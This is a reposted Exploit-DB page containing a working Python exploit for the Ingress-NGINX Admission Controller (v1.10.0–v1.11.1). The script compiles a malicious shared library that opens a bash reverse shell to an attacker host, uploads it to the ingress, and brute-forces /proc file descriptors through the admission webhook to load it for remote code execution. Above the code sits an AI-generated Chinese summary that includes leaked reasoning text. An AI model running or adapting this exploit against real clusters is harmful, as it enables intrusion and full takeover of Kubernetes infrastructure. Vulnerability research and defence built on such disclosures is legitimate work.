[remote] Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
好的,我现在需要帮用户总结一篇技术文章的内容,控制在100字以内。用户已经提供了文章的详细内容,包括漏洞标题、日期、作者、版本影响范围等信息,还有代码部分。 首先,我要理解文章的主题。看起来这是一个关于Kubernetes Ingress-NGINX Admission Controller的漏洞利用。漏洞版本是v1.10.0到v1.11.1,可能影响其他版本。作者通过文件描述符注入和RCE(远程代码执行)来实现攻击。 接下来,我需要提取关键点:漏洞名称、影响范围、攻击方式(FD注入和RCE)、利用方法(上传恶意共享库和暴力破解文件描述符)、以及CVE编号。 然后,我需要用简洁的语言把这些点整合起来,确保在100字以内。同时,避免使用“文章内容总结”这样的开头,直接描述内容。 可能的结构是:介绍漏洞及其影响范围,说明攻击方式和利用步骤,最后提到CVE编号。 现在检查字数是否符合要求,并确保信息准确无误。 </think> 该漏洞存在于Kubernetes Ingress-NGINX Admission Controller v1.10.0至v1.11.1版本中,允许通过文件描述符注入实现远程代码执行。攻击者可上传恶意共享库并暴力破解文件描述符以获取控制权。此漏洞涉及多个CVE编号。 2026-2-4 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:4 收藏

# Exploit Title:  Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE 
# Date: 2025-10-07
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://kubernetes.io
# Software Link: https://github.com/kubernetes/ingress-nginx
# Version: Affects v1.10.0 to v1.11.1 (potentially others)
# Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster
# CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974

import os
import sys
import socket
import requests
import threading
from urllib.parse import urlparse
from concurrent.futures import ThreadPoolExecutor
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# --- Embedded malicious shared object template ---
MALICIOUS_C_TEMPLATE = """
#include <stdlib.h>

__attribute__((constructor))
void run_on_load() {
    system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'");
}

int bind(void *e, const char *id) {
    return 1;
}

void ENGINE_load_evil() {}

int bind_engine() {
    return 1;
}
"""

def compile_shared_library(host, port, output_file="evil_engine.so"):
    c_code = MALICIOUS_C_TEMPLATE.replace("HOST", host).replace("PORT", str(port))

    with open("evil_engine.c", "w") as f:
        f.write(c_code)

    print("[*] Compiling malicious shared object...")
    result = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto")

    if result == 0:
        print("[+] Shared object compiled successfully.")
        return True
    else:
        print("[!] Compilation failed. Is gcc installed?")
        return False


def send_brute_request(admission_url, json_template, proc, fd):
    print(f"[*] Trying /proc/{proc}/fd/{fd}")
    path = f"proc/{proc}/fd/{fd}"
    payload = json_template.replace("REPLACE", path)

    headers = {"Content-Type": "application/json"}
    url = admission_url.rstrip("/") + "/admission"

    try:
        response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5)
        print(f"[+] Response for /proc/{proc}/fd/{fd}: {response.status_code}")
    except Exception as e:
        print(f"[!] Error on /proc/{proc}/fd/{fd}: {e}")


def brute_force_admission(admission_url, json_file="review.json", max_proc=50, max_fd=30, max_workers=5):
    try:
        with open(json_file, "r") as f:
            json_data = f.read()
    except FileNotFoundError:
        print(f"[!] Error: {json_file} not found.")
        return

    print("[*] Starting brute-force against the admission webhook...")
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        for proc in range(1, max_proc):
            for fd in range(3, max_fd):
                executor.submit(send_brute_request, admission_url, json_data, proc, fd)


def upload_shared_library(ingress_url, shared_object="evil_engine.so"):
    try:
        with open(shared_object, "rb") as f:
            evil_payload = f.read()
    except FileNotFoundError:
        print(f"[!] Error: {shared_object} not found.")
        return

    parsed = urlparse(ingress_url)
    host = parsed.hostname
    port = parsed.port or 80
    path = parsed.path or "/"

    try:
        sock = socket.create_connection((host, port))
    except Exception as e:
        print(f"[!] Failed to connect to {host}:{port}: {e}")
        return

    fake_length = len(evil_payload) + 10
    headers = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"User-Agent: qmx-ingress-exploiter\r\n"
        f"Content-Type: application/octet-stream\r\n"
        f"Content-Length: {fake_length}\r\n"
        f"Connection: keep-alive\r\n\r\n"
    ).encode("iso-8859-1")

    print("[*] Uploading malicious shared object to ingress...")
    sock.sendall(headers + evil_payload)

    response = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk

    print("[*] Server response:\n")
    print(response.decode(errors="ignore"))
    sock.close()


def main():
    if len(sys.argv) != 4:
        print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> <rev_host:port>")
        sys.exit(1)

    ingress_url = sys.argv[1]
    admission_url = sys.argv[2]
    rev_host_port = sys.argv[3]

    if ':' not in rev_host_port:
        print("[!] Invalid format for rev_host:port.")
        sys.exit(1)

    host, port = rev_host_port.split(":")

    if not compile_shared_library(host, port):
        sys.exit(1)

    # Send the malicious shared object and keep the connection open
    upload_thread = threading.Thread(target=upload_shared_library, args=(ingress_url,))
    upload_thread.start()

    # Simultaneously brute-force the admission webhook for valid file descriptors
    brute_force_admission(admission_url)


if __name__ == "__main__":
    main()
            

文章来源: https://www.exploit-db.com/exploits/52475
如有侵权请联系:admin#unsafe.sh